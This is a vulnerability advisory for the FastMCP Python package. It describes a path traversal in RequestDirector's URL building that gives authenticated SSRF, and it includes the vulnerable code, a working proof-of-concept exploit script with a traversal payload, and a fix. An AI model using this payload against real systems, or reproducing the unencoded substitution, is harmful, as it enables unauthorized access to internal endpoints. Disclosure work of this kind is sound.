PT-2026-53429 · Pypi · Fastmcp

Published

2026-06-29

·

Updated

2026-06-29

CVSS v3.1

10

Critical

VectorAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.
A critical vulnerability exists in the build url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.
Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: fastmcp/utilities/openapi/director.py
python
 def build url(
  self, path template: str, path params: dict[str, Any], base url: str
) -> str:
  # Direct string substitution without encoding
  url path = path template
  for param name, param value in path params.items():
    placeholder = f"{{{param name}}}"
    if placeholder in url path:
      url path = url path.replace(placeholder, str(param value))

  # urljoin resolves ../ escape sequences
  return urljoin(base url.rstrip("/" ) + "/", url path.lstrip("/"))

Root Cause

  1. Path parameters are substituted directly without URL encoding
  2. urllib.parse.urljoin() interprets ../ as directory traversal
  3. No validation prevents traversal sequences in parameter values
  4. Requests inherit the authentication context of the MCP provider

Proof of Concept

Step 1: Backend API Setup

Create internal api.py to simulate a vulnerable backend server:
python
from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user id}/profile")
def get profile(user id: str):
  return {"status": "success", "user": user id}

@app.get("/admin/delete-all")
def admin endpoint(authorization: str = Header(None)):
  if authorization == "Bearer admin secret":
    return {"status": "CRITICAL", "message": "Administrative access granted"}
  raise HTTPException(status code=401)

if  name  == " main ":
  uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit poc.py:
python
import asyncio
import httpx
 from fastmcp.utilities.openapi.director import RequestDirector

async def exploit ssrf():
  # Initialize vulnerable component
  director = RequestDirector(spec={})
  base url = "http://127.0.0.1:8080/"
  template = "/api/v1/users/{id}/profile"
  
  # Payload: Path traversal to reach /admin/delete-all
  # The '?' character neutralizes the rest of the original template
  payload = "../../../admin/delete-all?"
  
  # Construct malicious URL
  malicious url = director. build url(template, {"id": payload}, base url)
  print(f"[*] Generated URL: {malicious url}")

  async with httpx.AsyncClient() as client:
    # Request inherits MCP provider's authorization headers
    response = await client.get(
      malicious url, 
      headers={"Authorization": "Bearer admin secret"}
    )
    print(f"[+] Status Code: {response.status code}")
    print(f"[+] Response: {response.text}")

if  name  == " main ":
  asyncio.run(exploit ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}
The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment

Severity Justification

  • Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
  • Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
  • Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
  • Data Exfiltration: Sensitive internal APIs can be accessed and exploited
  • Lateral Movement: Internal-only services may be compromised from the network boundary

Attack Scenarios

  1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
  2. Data Theft: Access internal databases or sensitive information endpoints
  3. Service Disruption: Trigger destructive operations on backend services
  4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials

Remediation

Recommended Fix

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.
Updated code for build url() method:
python
import urllib.parse

def build url(
  self, path template: str, path params: dict[str, Any], base url: str
) -> str:
  url path = path template
  for param name, param value in path params.items():
    placeholder = f"{{{param name}}}"
    if placeholder in url path:
      # Apply safe URL encoding to prevent traversal attacks
      # safe="" ensures ALL special characters are encoded
      safe value = urllib.parse.quote(str(param value), safe="")
      url path = url path.replace(placeholder, safe value)

  return urljoin(base url.rstrip("/") + "/", url path.lstrip("/"))

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-338

Affected Products

Fastmcp